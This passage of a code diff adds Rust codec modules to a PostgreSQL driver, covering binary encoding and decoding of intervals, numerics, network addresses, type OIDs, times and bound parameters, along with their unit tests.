assert_eq!(read.as_str(), r#"{"b": 1, "a": [2]}"#); + } + + #[test] + fn an_unknown_type_is_undecodable_not_null() { + let mystery = Type::new("mystery".to_owned(), 99_999, Kind::Pseudo, "public".to_owned()); + + let Value::Undecodable(undecoded) = decode_binary(&mystery, b"x") else { + panic!("an unknown type decoded"); + }; + assert_eq!(undecoded.type_name, "mystery"); + assert_eq!(undecoded.reason, UndecodableReason::UnsupportedType); + } + + #[test] + fn geometric_and_lsn_values_print_as_the_server_does() { + let mut point = BytesMut::new(); + wire::point_to_sql(1.5, -2.0, &mut point); + let Value::Other(read) = decode_binary(&Type::POINT, &point) else { + panic!("a point did not decode"); + }; + assert_eq!(read.text, "(1.5,-2)"); + + let mut lsn = BytesMut::new(); + wire::lsn_to_sql(0x0000_0001_00AB_CDEF, &mut lsn); + let Value::Other(read) = decode_binary(&Type::PG_LSN, &lsn) else { + panic!("an lsn did not decode"); + }; + assert_eq!(read.text, "1/ABCDEF"); + } + + #[test] + fn an_int4range_prints_in_canonical_form() { + let mut range = BytesMut::new(); + wire::range_to_sql( + |out| { + wire::int4_to_sql(1, out); + Ok(wire::RangeBound::Inclusive(postgres_protocol::IsNull::No)) + }, + |out| { + wire::int4_to_sql(5, out); + Ok(wire::RangeBound::Exclusive(postgres_protocol::IsNull::No)) + }, + &mut range, + ) + .expect("a range"); + + let Value::Other(read) = decode_binary(&Type::INT4_RANGE, &range) else { + panic!("a range did not decode"); + }; + assert_eq!(read.text, "[1,5)"); + } + + #[test] + fn quoting_follows_the_composite_text_rules() { + assert_eq!(quote_element("plain", ",{}"), "plain"); + assert_eq!(quote_element("a b", ",{}"), "\"a b\""); + assert_eq!(quote_element("", ",{}"), "\"\""); + assert_eq!(quote_element("say \"hi\"", ",{}"), "\"say \\\"hi\\\"\""); + } +} diff --git a/linux/crates/drivers/postgres/src/codec/interval_wire.rs b/linux/crates/drivers/postgres/src/codec/interval_wire.rs new file mode 100644 index 0000000000..b7bd760b64 --- /dev/null +++ b/linux/crates/drivers/postgres/src/codec/interval_wire.rs @@ -0,0 +1,46 @@ +//! INTERVAL in its binary form: microseconds, days and months, kept +//! apart because a month and a day have no fixed length. + +use bytes::{BufMut, BytesMut}; +use tablepro_core::value::SqlInterval; + +use super::WireError; + +const LEN: usize = 16; + +pub(crate) fn interval_from_sql(bytes: &[u8]) -> Result { + let bytes: [u8; LEN] = bytes.try_into().map_err(|_| WireError::Malformed)?; + let [m0, m1, m2, m3, m4, m5, m6, m7, d0, d1, d2, d3, n0, n1, n2, n3] = bytes; + Ok(SqlInterval { + microseconds: i64::from_be_bytes([m0, m1, m2, m3, m4, m5, m6, m7]), + days: i32::from_be_bytes([d0, d1, d2, d3]), + months: i32::from_be_bytes([n0, n1, n2, n3]), + }) +} + +pub(crate) fn interval_to_sql(interval: &SqlInterval, out: &mut BytesMut) { + out.put_i64(interval.microseconds); + out.put_i32(interval.days); + out.put_i32(interval.months); +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn interval_wire_round_trip() { + let interval = SqlInterval { + months: -14, + days: 3, + microseconds: -4_500_000, + }; + let mut out = BytesMut::new(); + + interval_to_sql(&interval, &mut out); + + assert_eq!(out.len(), LEN); + assert_eq!(interval_from_sql(&out), Ok(interval)); + assert_eq!(interval_from_sql(&out[..15]), Err(WireError::Malformed)); + } +} diff --git a/linux/crates/drivers/postgres/src/codec/mod.rs b/linux/crates/drivers/postgres/src/codec/mod.rs new file mode 100644 index 0000000000..7214d2f499 --- /dev/null +++ b/linux/crates/drivers/postgres/src/codec/mod.rs @@ -0,0 +1,17 @@ +//! PostgreSQL values on the wire, both ways. + +mod array_decode; +mod decode; +mod interval_wire; +mod network_text; +mod numeric_wire; +pub(crate) mod oid; +mod pg_param; +mod raw_cell; +mod temporal_wire; +mod wire_error; + +pub(crate) use decode::decodes_natively; +pub(crate) use pg_param::typed; +pub(crate) use raw_cell::RawCell; +pub(crate) use wire_error::WireError; diff --git a/linux/crates/drivers/postgres/src/codec/network_text.rs b/linux/crates/drivers/postgres/src/codec/network_text.rs new file mode 100644 index 0000000000..a6cd5ca0df --- /dev/null +++ b/linux/crates/drivers/postgres/src/codec/network_text.rs @@ -0,0 +1,79 @@ +//! Network addresses read from their binary forms and printed the way +//! the server prints them. + +use std::net::IpAddr; + +use postgres_protocol::types::{inet_from_sql, macaddr_from_sql}; + +use super::WireError; + +/// INET and CIDR. An INET prints its mask only when it is narrower than +/// the address, a CIDR always does. +pub(crate) fn inet_text(bytes: &[u8], cidr: bool) -> Result { + let inet = inet_from_sql(bytes).map_err(|_| WireError::Malformed)?; + let full = match inet.addr() { + IpAddr::V4(_) => 32, + IpAddr::V6(_) => 128, + }; + if !cidr && inet.netmask() == full { + return Ok(inet.addr().to_string()); + } + Ok(format!("{}/{}", inet.addr(), inet.netmask())) +} + +pub(crate) fn macaddr_text(bytes: &[u8]) -> Result { + let octets = macaddr_from_sql(bytes).map_err(|_| WireError::Malformed)?; + Ok(colon_hex(&octets)) +} + +/// MACADDR8 has no decoder in postgres-protocol; its binary form is the +/// eight octets as they are. +pub(crate) fn macaddr8_text(bytes: &[u8]) -> Result { + if bytes.len() != 8 { + return Err(WireError::Malformed); + } + Ok(colon_hex(bytes)) +} + +fn colon_hex(octets: &[u8]) -> String { + octets + .iter() + .map(|octet| format!("{octet:02x}")) + .collect::>() + .join(":") +} + +#[cfg(test)] +mod tests { + use bytes::BytesMut; + use postgres_protocol::types::{inet_to_sql, macaddr_to_sql}; + + use super::*; + + fn inet(addr: &str, mask: u8) -> BytesMut { + let mut out = BytesMut::new(); + inet_to_sql(addr.parse().expect("an address"), mask, &mut out); + out + } + + #[test] + fn an_inet_prints_its_mask_only_when_it_narrows_the_address() { + assert_eq!(inet_text(&inet("10.0.0.1", 32), false).as_deref(), Ok("10.0.0.1")); + assert_eq!(inet_text(&inet("10.0.0.1", 8), false).as_deref(), Ok("10.0.0.1/8")); + assert_eq!(inet_text(&inet("10.0.0.0", 32), true).as_deref(), Ok("10.0.0.0/32")); + assert_eq!(inet_text(&inet("::1", 128), false).as_deref(), Ok("::1")); + } + + #[test] + fn mac_addresses_print_as_lowercase_colon_pairs() { + let mut out = BytesMut::new(); + macaddr_to_sql([0x08, 0x00, 0x2b, 0x01, 0x02, 0xAB], &mut out); + + assert_eq!(macaddr_text(&out).as_deref(), Ok("08:00:2b:01:02:ab")); + assert_eq!( + macaddr8_text(&[1, 2, 3, 4, 5, 6, 7, 8]).as_deref(), + Ok("01:02:03:04:05:06:07:08") + ); + assert_eq!(macaddr8_text(&[1]), Err(WireError::Malformed)); + } +} diff --git a/linux/crates/drivers/postgres/src/codec/numeric_wire.rs b/linux/crates/drivers/postgres/src/codec/numeric_wire.rs new file mode 100644 index 0000000000..860736c528 --- /dev/null +++ b/linux/crates/drivers/postgres/src/codec/numeric_wire.rs @@ -0,0 +1,168 @@ +//! NUMERIC in its binary form, which neither postgres-types nor +//! postgres-protocol reads: a count of base-10000 digits, the weight of +//! the first one, a sign, the declared scale, then the digits. + +use tablepro_core::value::{DecimalParseError, SqlDecimal}; + +use super::WireError; + +const SIGN_POSITIVE: u16 = 0x0000; +const SIGN_NEGATIVE: u16 = 0x4000; +const SIGN_NAN: u16 = 0xC000; +const SIGN_POSITIVE_INFINITY: u16 = 0xD000; +const SIGN_NEGATIVE_INFINITY: u16 = 0xF000; +const HEADER_LEN: usize = 8; + +/// A NUMERIC read back at the exact digits the server holds, its +/// declared scale and trailing zeros included. +pub(crate) fn numeric_from_sql(bytes: &[u8]) -> Result { + let header: [u8; HEADER_LEN] = bytes + .get(..HEADER_LEN) + .and_then(|header| header.try_into().ok()) + .ok_or(WireError::Malformed)?; + let digit_count = usize::from(u16::from_be_bytes([header[0], header[1]])); + let weight = i32::from(i16::from_be_bytes([header[2], header[3]])); + let sign = u16::from_be_bytes([header[4], header[5]]); + let scale = u16::from_be_bytes([header[6], header[7]]); + match sign { + SIGN_POSITIVE | SIGN_NEGATIVE => {} + SIGN_NAN => return Ok(SqlDecimal::nan()), + SIGN_POSITIVE_INFINITY => return Ok(SqlDecimal::infinity(false)), + SIGN_NEGATIVE_INFINITY => return Ok(SqlDecimal::infinity(true)), + _ => return Err(WireError::Malformed), + } + if bytes.len() != HEADER_LEN + digit_count * 2 { + return Err(WireError::Malformed); + } + let digits: Vec = bytes[HEADER_LEN..] + .as_chunks::<2>() + .0 + .iter() + .map(|pair| u16::from_be_bytes(*pair)) + .collect(); + if digits.iter().any(|digit| *digit >= 10_000) { + return Err(WireError::Malformed); + } + let coefficient = coefficient(&digits, weight, usize::from(scale)); + SqlDecimal::from_parts(sign == SIGN_NEGATIVE, &coefficient, u32::from(scale)).map_err(|error| match error { + DecimalParseError::TooManyDigits { .. } | DecimalParseError::ExponentOutOfRange => WireError::OutOfRange, + DecimalParseError::Empty | DecimalParseError::InvalidSyntax => WireError::Malformed, + }) +} + +/// The decimal digits of the value with the point removed, `scale` of +/// them after it. +fn coefficient(digits: &[u16], weight: i32, scale: usize) -> String { + let digit_at = |position: i32| -> u16 { + usize::try_from(position) + .ok() + .and_then(|at| digits.get(at).copied()) + .unwrap_or(0) + }; + let mut text = String::new(); + for position in 0..=weight.max(-1) { + text.push_str(&format!("{:04}", digit_at(position))); + } + let mut fraction = String::with_capacity(scale + 4); + let mut position = weight + 1; + while fraction.len() < scale { + let digit = if position < 0 { 0 } else { digit_at(position) }; + fraction.push_str(&format!("{digit:04}")); + position += 1; + } + fraction.truncate(scale); + text.push_str(&fraction); + if text.is_empty() { + text.push('0'); + } + text +} + +#[cfg(test)] +pub(crate) fn numeric_bytes(weight: i16, sign: u16, scale: u16, digits: &[u16]) -> Vec { + let mut bytes = Vec::new(); + let count = u16::try_from(digits.len()).unwrap_or(0); + bytes.extend_from_slice(&count.to_be_bytes()); + bytes.extend_from_slice(&weight.to_be_bytes()); + bytes.extend_from_slice(&sign.to_be_bytes()); + bytes.extend_from_slice(&scale.to_be_bytes()); + for digit in digits { + bytes.extend_from_slice(&digit.to_be_bytes()); + } + bytes +} + +#[cfg(test)] +mod tests { + use super::*; + + fn read(weight: i16, sign: u16, scale: u16, digits: &[u16]) -> String { + numeric_from_sql(&numeric_bytes(weight, sign, scale, digits)) + .expect("a well-formed numeric") + .to_string() + } + + #[test] + fn numeric_wire_round_trips() { + assert_eq!(read(1, SIGN_POSITIVE, 5, &[1, 2345, 6789, 0]), "12345.67890"); + assert_eq!(read(-2, SIGN_POSITIVE, 8, &[1234]), "0.00001234"); + assert_eq!(read(0, SIGN_NEGATIVE, 2, &[42, 5000]), "-42.50"); + assert_eq!(read(0, SIGN_POSITIVE, 0, &[]), "0"); + assert_eq!(read(1, SIGN_POSITIVE, 0, &[7]), "70000"); + assert_eq!( + read( + 7, + SIGN_POSITIVE, + 9, + &[12, 3456, 7890, 1234, 5678, 9012, 3456, 7890, 1234, 5678, 9000], + ), + "123456789012345678901234567890.123456789" + ); + } + + #[test] + fn a_thousand_digit_numeric_survives() { + let digits = vec![9999u16; 250]; + let text = read(249, SIGN_POSITIVE, 0, &digits); + + assert_eq!(text.len(), 1000); + assert!(text.bytes().all(|digit| digit == b'9')); + } + + #[test] + fn numeric_carries_nan_and_the_infinities_as_decimals() { + assert_eq!( + numeric_from_sql(&numeric_bytes(0, SIGN_NAN, 0, &[])), + Ok(SqlDecimal::nan()) + ); + assert_eq!( + numeric_from_sql(&numeric_bytes(0, SIGN_POSITIVE_INFINITY, 0, &[])), + Ok(SqlDecimal::infinity(false)) + ); + assert_eq!( + numeric_from_sql(&numeric_bytes(0, SIGN_NEGATIVE_INFINITY, 0, &[])), + Ok(SqlDecimal::infinity(true)) + ); + } + + #[test] + fn numeric_wire_malformed_is_undecodable_not_panic() { + assert_eq!(numeric_from_sql(&[0, 1, 0, 0]), Err(WireError::Malformed)); + assert_eq!( + numeric_from_sql(&numeric_bytes(0, SIGN_POSITIVE, 0, &[1])[..9]), + Err(WireError::Malformed) + ); + assert_eq!( + numeric_from_sql(&numeric_bytes(0, 0x1234, 0, &[1])), + Err(WireError::Malformed) + ); + assert_eq!( + numeric_from_sql(&numeric_bytes(0, SIGN_POSITIVE, 0, &[10_000])), + Err(WireError::Malformed) + ); + assert_eq!( + numeric_from_sql(&numeric_bytes(i16::MIN, SIGN_POSITIVE, u16::MAX, &[1])), + Err(WireError::OutOfRange) + ); + } +} diff --git a/linux/crates/drivers/postgres/src/codec/oid.rs b/linux/crates/drivers/postgres/src/codec/oid.rs new file mode 100644 index 0000000000..8e5df70856 --- /dev/null +++ b/linux/crates/drivers/postgres/src/codec/oid.rs @@ -0,0 +1,135 @@ +//! The built-in type OIDs the codecs dispatch on. They are fixed in the +//! PostgreSQL catalog (`pg_type.dat`) and never change between releases, +//! which is why a pattern can name them where postgres-types' `Type` +//! constants cannot appear. + +use postgres_protocol::Oid; + +pub(crate) const BOOL: Oid = 16; +pub(crate) const BYTEA: Oid = 17; +pub(crate) const CHAR: Oid = 18; +pub(crate) const NAME: Oid = 19; +pub(crate) const INT8: Oid = 20; +pub(crate) const INT2: Oid = 21; +pub(crate) const INT4: Oid = 23; +pub(crate) const REGPROC: Oid = 24; +pub(crate) const TEXT: Oid = 25; +pub(crate) const OID: Oid = 26; +pub(crate) const TID: Oid = 27; +pub(crate) const XID: Oid = 28; +pub(crate) const CID: Oid = 29; +pub(crate) const JSON: Oid = 114; +pub(crate) const XML: Oid = 142; +pub(crate) const POINT: Oid = 600; +pub(crate) const LSEG: Oid = 601; +pub(crate) const PATH: Oid = 602; +pub(crate) const BOX: Oid = 603; +pub(crate) const POLYGON: Oid = 604; +pub(crate) const LINE: Oid = 628; +pub(crate) const CIDR: Oid = 650; +pub(crate) const FLOAT4: Oid = 700; +pub(crate) const FLOAT8: Oid = 701; +pub(crate) const UNKNOWN: Oid = 705; +pub(crate) const CIRCLE: Oid = 718; +pub(crate) const MACADDR8: Oid = 774; +pub(crate) const MONEY: Oid = 790; +pub(crate) const MACADDR: Oid = 829; +pub(crate) const INET: Oid = 869; +pub(crate) const BPCHAR: Oid = 1042; +pub(crate) const VARCHAR: Oid = 1043; +pub(crate) const DATE: Oid = 1082; +pub(crate) const TIME: Oid = 1083; +pub(crate) const TIMESTAMP: Oid = 1114; +pub(crate) const TIMESTAMPTZ: Oid = 1184; +pub(crate) const INTERVAL: Oid = 1186; +pub(crate) const TIMETZ: Oid = 1266; +pub(crate) const BIT: Oid = 1560; +pub(crate) const VARBIT: Oid = 1562; +pub(crate) const NUMERIC: Oid = 1700; +pub(crate) const REGPROCEDURE: Oid = 2202; +pub(crate) const REGOPER: Oid = 2203; +pub(crate) const REGOPERATOR: Oid = 2204; +pub(crate) const REGCLASS: Oid = 2205; +pub(crate) const REGTYPE: Oid = 2206; +pub(crate) const UUID: Oid = 2950; +pub(crate) const PG_LSN: Oid = 3220; +pub(crate) const TSVECTOR: Oid = 3614; +pub(crate) const TSQUERY: Oid = 3615; +pub(crate) const REGCONFIG: Oid = 3734; +pub(crate) const REGDICTIONARY: Oid = 3769; +pub(crate) const JSONB: Oid = 3802; +pub(crate) const REGNAMESPACE: Oid = 4089; +pub(crate) const REGROLE: Oid = 4096; +pub(crate) const REGCOLLATION: Oid = 4191; +pub(crate) const XID8: Oid = 5069; + +/// The OID-alias types, whose binary form is the OID they name. +pub(crate) const REG_TYPES: [Oid; 11] = [ + REGPROC, + REGPROCEDURE, + REGOPER, + REGOPERATOR, + REGCLASS, + REGTYPE, + REGCONFIG, + REGDICTIONARY, + REGNAMESPACE, + REGROLE, + REGCOLLATION, +]; + +#[cfg(test)] +mod tests { + use postgres_types::Type; + + use super::*; + + #[test] + fn the_constants_match_postgres_types() { + let pairs = [ + (BOOL, Type::BOOL), + (BYTEA, Type::BYTEA), + (CHAR, Type::CHAR), + (NAME, Type::NAME), + (INT8, Type::INT8), + (INT2, Type::INT2), + (INT4, Type::INT4), + (TEXT, Type::TEXT), + (OID, Type::OID), + (TID, Type::TID), + (XID, Type::XID), + (JSON, Type::JSON), + (XML, Type::XML), + (POINT, Type::POINT), + (PATH, Type::PATH), + (BOX, Type::BOX), + (CIDR, Type::CIDR), + (FLOAT4, Type::FLOAT4), + (FLOAT8, Type::FLOAT8), + (MACADDR8, Type::MACADDR8), + (MONEY, Type::MONEY), + (MACADDR, Type::MACADDR), + (INET, Type::INET), + (BPCHAR, Type::BPCHAR), + (VARCHAR, Type::VARCHAR), + (DATE, Type::DATE), + (TIME, Type::TIME), + (TIMESTAMP, Type::TIMESTAMP), + (TIMESTAMPTZ, Type::TIMESTAMPTZ), + (INTERVAL, Type::INTERVAL), + (TIMETZ, Type::TIMETZ), + (BIT, Type::BIT), + (VARBIT, Type::VARBIT), + (NUMERIC, Type::NUMERIC), + (REGCLASS, Type::REGCLASS), + (UUID, Type::UUID), + (PG_LSN, Type::PG_LSN), + (TSVECTOR, Type::TS_VECTOR), + (JSONB, Type::JSONB), + (XID8, Type::XID8), + ]; + for (oid, ty) in pairs { + assert_eq!(oid, ty.oid(), "{ty}"); + } + } +} diff --git a/linux/crates/drivers/postgres/src/codec/pg_param.rs b/linux/crates/drivers/postgres/src/codec/pg_param.rs new file mode 100644 index 0000000000..2aa4a326d8 --- /dev/null +++ b/linux/crates/drivers/postgres/src/codec/pg_param.rs @@ -0,0 +1,289 @@ +use std::error::Error; + +use bytes::{BufMut, BytesMut}; +use chrono::Utc; +use postgres_protocol::types as wire; +use postgres_types::{Format, IsNull, ToSql, Type, to_sql_checked}; +use tablepro_core::Value; +use tablepro_core::statement::{BoundParam, ParamType}; +use tablepro_core::value::{BitString, SqlTime, Temporal, TimeWithOffset}; + +use super::interval_wire::interval_to_sql; +use super::temporal_wire::{time_to_sql, timetz_to_sql}; + +type EncodeError = Box; + +const JSONB_VERSION: u8 = 1; + +/// A bound parameter on its way to the server, encoded strictly by the +/// type it was bound as. +/// +/// The few types without a binary encoder here (NUMERIC, and a time +/// finer than a microsecond) go as text, which the server parses with +/// the parameter's declared type, so nothing is rounded on this side. +#[derive(Debug)] +pub(crate) struct PgParam<'a>(pub(crate) &'a BoundParam); + +impl ToSql for PgParam<'_> { + fn to_sql(&self, _ty: &Type, out: &mut BytesMut) -> Result { + encode(self.0, out) + } + + fn accepts(_: &Type) -> bool { + true + } + + to_sql_checked!(); + + fn encode_format(&self, _ty: &Type) -> Format { + if sends_text(self.0) { + Format::Text + } else { + Format::Binary + } + } +} + +/// The type the parameter is declared as in the Parse message. A NULL +/// keeps it, so the server types the NULL the way the column is typed. +pub(crate) fn wire_type(param: &BoundParam) -> Type { + match param.param_type() { + ParamType::Bool => Type::BOOL, + ParamType::Int16 => Type::INT2, + ParamType::Int32 => Type::INT4, + ParamType::Int64 => Type::INT8, + // PostgreSQL has no unsigned integer; NUMERIC holds every u64. + ParamType::UInt64 | ParamType::Decimal => Type::NUMERIC, + ParamType::Float32 => Type::FLOAT4, + ParamType::Float64 => Type::FLOAT8, + ParamType::Text | ParamType::ServerText(_) => Type::TEXT, + ParamType::FixedText => Type::BPCHAR, + ParamType::Bytes => Type::BYTEA, + ParamType::Bits => Type::VARBIT, + ParamType::Uuid => Type::UUID, + ParamType::Json => Type::JSON, + ParamType::JsonBinary => Type::JSONB, + ParamType::Date => Type::DATE, + ParamType::Time => Type::TIME, + ParamType::TimeTz => Type::TIMETZ, + ParamType::Timestamp => Type::TIMESTAMP, + ParamType::TimestampTz => Type::TIMESTAMPTZ, + ParamType::Interval => Type::INTERVAL, + } +} + +/// The parameters of a statement with the types they are declared as, +/// for `query_typed_raw` and `execute_typed`. +pub(crate) fn typed(params: &[BoundParam]) -> Vec<(PgParam<'_>, Type)> { + params.iter().map(|param| (PgParam(param), wire_type(param))).collect() +} + +fn sends_text(param: &BoundParam) -> bool { + match (param.param_type(), param.value()) { + (ParamType::UInt64 | ParamType::Decimal, _) => true, + (ParamType::Time, Value::Time(time)) => time.total_micros().is_none(), + (ParamType::TimeTz, Value::TimeTz(time)) => time.time.total_micros().is_none(), + _ => false, + } +} + +fn encode(param: &BoundParam, out: &mut BytesMut) -> Result { + let value = param.value(); + if value.is_null() { + return Ok(IsNull::Yes); + } + if sends_text(param) { + let text = match value { + Value::Time(time) => time.format(None), + Value::TimeTz(time) => timetz_text(time), + other => decimal_text(other).ok_or("this value is not a number")?, + }; + wire::text_to_sql(&text, out); + return Ok(IsNull::No); + } + match (param.param_type(), value) { + (ParamType::Bool, Value::Bool(flag)) => wire::bool_to_sql(*flag, out), + (ParamType::Int16, Value::Int(int)) => wire::int2_to_sql(i16::try_from(*int)?, out), + (ParamType::Int32, Value::Int(int)) => wire::int4_to_sql(i32::try_from(*int)?, out), + (ParamType::Int64, Value::Int(int)) => wire::int8_to_sql(*int, out), + (ParamType::Int64, Value::UInt(int)) => wire::int8_to_sql(i64::try_from(*int)?, out), + (ParamType::Float32, Value::Float32(float)) => wire::float4_to_sql(*float, out), + (ParamType::Float64, Value::Float64(float)) => wire::float8_to_sql(*float, out), + (ParamType::Float64, Value::Float32(float)) => wire::float8_to_sql(f64::from(*float), out), + (ParamType::Text | ParamType::FixedText | ParamType::ServerText(_), Value::Text(text)) => { + wire::text_to_sql(text, out) + } + (ParamType::ServerText(_), Value::Other(other)) => wire::text_to_sql(&other.text, out), + (ParamType::Bytes, Value::Bytes(bytes)) => wire::bytea_to_sql(bytes, out), + (ParamType::Bits, Value::Bits(bits)) => varbit(bits, out)?, + (ParamType::Uuid, Value::Uuid(uuid)) => wire::uuid_to_sql(*uuid.as_bytes(), out), + (ParamType::Json, Value::Json(json)) => wire::text_to_sql(json.as_str(), out), + (ParamType::JsonBinary, Value::Json(json)) => { + out.put_u8(JSONB_VERSION); + wire::text_to_sql(json.as_str(), out); + } + (ParamType::Date, Value::Date(date)) => match date { + Temporal::Finite(date) => return date.to_sql(&Type::DATE, out), + Temporal::Infinity => wire::date_to_sql(i32::MAX, out), + Temporal::NegInfinity => wire::date_to_sql(i32::MIN, out), + }, + (ParamType::Time, Value::Time(time)) => time_to_sql(micros(time)?, out), + (ParamType::TimeTz, Value::TimeTz(time)) => timetz_to_sql(micros(&time.time)?, time.offset, out), + (ParamType::Timestamp, Value::Timestamp(stamp)) => match stamp { + Temporal::Finite(stamp) => return stamp.to_sql(&Type::TIMESTAMP, out), + Temporal::Infinity => wire::timestamp_to_sql(i64::MAX, out), + Temporal::NegInfinity => wire::timestamp_to_sql(i64::MIN, out), + }, + (ParamType::TimestampTz, Value::TimestampTz(stamp)) => match stamp { + Temporal::Finite(stamp) => { + return stamp.to_datetime().with_timezone(&Utc).to_sql(&Type::TIMESTAMPTZ, out); + } + Temporal::Infinity => wire::timestamp_to_sql(i64::MAX, out), + Temporal::NegInfinity => wire::timestamp_to_sql(i64::MIN, out), + }, + (ParamType::Interval, Value::Interval(interval)) => interval_to_sql(interval, out), + (param_type, value) => { + return Err(format!( + "a {} value cannot be sent as a {} parameter", + value.variant_name(), + param_type.name() + ) + .into()); + } + } + Ok(IsNull::No) +} + +fn micros(time: &SqlTime) -> Result { + time.total_micros() + .ok_or_else(|| "the time is finer than a microsecond".into()) +} + +fn decimal_text(value: &Value) -> Option { + match value { + Value::Decimal(decimal) => Some(decimal.to_string()), + Value::Int(int) => Some(int.to_string()), + Value::UInt(int) => Some(int.to_string()), + Value::WideInt(int) => Some(int.to_string()), + _ => None, + } +} + +fn timetz_text(time: &TimeWithOffset) -> String { + let seconds = time.offset.local_minus_utc(); + let sign = if seconds < 0 { '-' } else { '+' }; + let magnitude = seconds.unsigned_abs(); + format!( + "{}{sign}{:02}:{:02}:{:02}", + time.time.format(None), + magnitude / 3600, + magnitude / 60 % 60, + magnitude % 60 + ) +} + +fn varbit(bits: &BitString, out: &mut BytesMut) -> Result<(), EncodeError> { + let text = bits.to_string(); + let packed = text.as_bytes().chunks(8).map(|chunk| { + chunk.iter().enumerate().fold(0u8, |byte, (position, bit)| match bit { + b'1' => byte | (0x80 >> position), + _ => byte, + }) + }); + wire::varbit_to_sql(text.len(), packed, out) +} + +#[cfg(test)] +mod tests { + use tablepro_core::column::SqlTypeExpr; + use tablepro_core::value::SqlDecimal; + + use super::*; + + fn bound(value: Value, param_type: ParamType) -> BoundParam { + BoundParam::new(value, param_type).expect("a bound parameter") + } + + fn encoded(param: &BoundParam) -> (IsNull, BytesMut) { + let mut out = BytesMut::new(); + let is_null = PgParam(param) + .to_sql_checked(&wire_type(param), &mut out) + .expect("an encodable parameter"); + (is_null, out) + } + + #[test] + fn pg_param_null_typed_by_oid() { + for (param_type, expected) in [ + (ParamType::Int32, Type::INT4), + (ParamType::Int64, Type::INT8), + (ParamType::Bool, Type::BOOL), + (ParamType::Date, Type::DATE), + (ParamType::Uuid, Type::UUID), + (ParamType::Decimal, Type::NUMERIC), + (ParamType::TimestampTz, Type::TIMESTAMPTZ), + ] { + let param = bound(Value::Null, param_type); + + let (is_null, out) = encoded(¶m); + + assert_eq!(wire_type(¶m), expected); + assert!(matches!(is_null, IsNull::Yes)); + assert!(out.is_empty()); + } + } + + #[test] + fn pg_param_decimal_nan_sent_as_text_numeric() { + let param = bound(Value::Decimal(SqlDecimal::nan()), ParamType::Decimal); + + let (_, out) = encoded(¶m); + + assert_eq!(wire_type(¶m), Type::NUMERIC); + assert!(matches!(PgParam(¶m).encode_format(&Type::NUMERIC), Format::Text)); + assert_eq!(&out[..], b"NaN"); + } + + #[test] + fn a_value_too_wide_for_its_parameter_is_refused_not_wrapped() { + let param = bound(Value::Int(70_000), ParamType::Int16); + let mut out = BytesMut::new(); + + assert!(PgParam(¶m).to_sql_checked(&Type::INT2, &mut out).is_err()); + } + + #[test] + fn bits_go_as_varbit_and_server_text_as_text() { + let bits = bound(Value::Bits(BitString::from_u64(0b101, 3)), ParamType::Bits); + let (_, out) = encoded(&bits); + assert_eq!(wire_type(&bits), Type::VARBIT); + assert_eq!(&out[..], &[0, 0, 0, 3, 0b1010_0000]); + + let mood = bound( + Value::Text("happy".to_owned()), + ParamType::ServerText(SqlTypeExpr::from_catalog_text("mood")), + ); + assert_eq!(wire_type(&mood), Type::TEXT); + assert_eq!(&encoded(&mood).1[..], b"happy"); + + let address = bound( + Value::Other(Box::new(tablepro_core::value::OtherValue { + type_name: "inet".to_owned(), + text: "10.0.0.1/32".to_owned(), + })), + ParamType::ServerText(SqlTypeExpr::from_catalog_text("inet")), + ); + assert_eq!(wire_type(&address), Type::TEXT); + assert_eq!(&encoded(&address).1[..], b"10.0.0.1/32"); + } + + #[test] + fn infinite_dates_and_the_end_of_day_encode_exactly() { + let date = bound(Value::Date(Temporal::Infinity), ParamType::Date); + assert_eq!(&encoded(&date).1[..], &i32::MAX.to_be_bytes()); + + let end_of_day: SqlTime = "24:00:00".parse().expect("a time"); + let time = bound(Value::Time(end_of_day), ParamType::Time); + assert_eq!(&encoded(&time).1[..], &86_400_000_000i64.to_be_bytes()); + } +} diff --git a/linux/crates/drivers/postgres/src/codec/raw_cell.rs b/linux/crates/drivers/postgres/src/codec/raw_cell.rs new file mode 100644 index 0000000000..72ae701f2d --- /dev/null +++ b/linux/crates/drivers/postgres/src/codec/raw_cell.rs @@ -0,0 +1,47 @@ +use std::error::Error; + +use postgres_types::{FromSql, Type}; +use tablepro_core::Value; + +use super::decode::decode_binary; + +/// One cell of a binary result, whatever its type. +/// +/// It accepts every type so tokio-postgres never refuses a column the +/// app has no Rust type for; the decode itself picks the `Value`. +#[derive(Debug, Clone, PartialEq)] +pub(crate) struct RawCell(pub(crate) Value); + +impl<'a> FromSql<'a> for RawCell { + fn from_sql(ty: &Type, raw: &'a [u8]) -> Result> { + Ok(Self(decode_binary(ty, raw))) + } + + fn from_sql_null(_: &Type) -> Result> { + Ok(Self(Value::Null)) + } + + fn accepts(_: &Type) -> bool { + true + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn a_null_is_null_and_a_value_is_decoded() { + assert_eq!( + RawCell::from_sql_nullable(&Type::INT4, None).map(|cell| cell.0).ok(), + Some(Value::Null) + ); + assert_eq!( + RawCell::from_sql_nullable(&Type::BOOL, Some(&[1])) + .map(|cell| cell.0) + .ok(), + Some(Value::Bool(true)) + ); + assert!(RawCell::accepts(&Type::TS_VECTOR)); + } +} diff --git a/linux/crates/drivers/postgres/src/codec/temporal_wire.rs b/linux/crates/drivers/postgres/src/codec/temporal_wire.rs new file mode 100644 index 0000000000..9c71ea90f4 --- /dev/null +++ b/linux/crates/drivers/postgres/src/codec/temporal_wire.rs @@ -0,0 +1,89 @@ +//! TIME and TIMETZ in their binary forms. postgres-types reads TIME +//! through chrono's `NaiveTime`, whose addition wraps 24:00:00 back to +//! midnight, so both are read here as microseconds. + +use bytes::{BufMut, BytesMut}; +use chrono::FixedOffset; +use postgres_protocol::types::{time_from_sql as protocol_time_from_sql, time_to_sql as protocol_time_to_sql}; +use tablepro_core::value::{SqlTime, TimeWithOffset}; + +use super::WireError; + +/// The longest a time of day can be: 24:00:00 is a valid PostgreSQL +/// time, one past the last instant of the day. +const MICROS_PER_DAY: i64 = 86_400_000_000; + +pub(crate) fn time_from_sql(bytes: &[u8]) -> Result { + let micros = protocol_time_from_sql(bytes).map_err(|_| WireError::Malformed)?; + time_of_day(micros) +} + +pub(crate) fn time_to_sql(micros: i64, out: &mut BytesMut) { + protocol_time_to_sql(micros, out); +} + +/// TIMETZ: the time, then the zone as seconds *west* of UTC, which is +/// the opposite sign of the offset it prints. +pub(crate) fn timetz_from_sql(bytes: &[u8]) -> Result { + let bytes: [u8; 12] = bytes.try_into().map_err(|_| WireError::Malformed)?; + let [m0, m1, m2, m3, m4, m5, m6, m7, z0, z1, z2, z3] = bytes; + let micros = i64::from_be_bytes([m0, m1, m2, m3, m4, m5, m6, 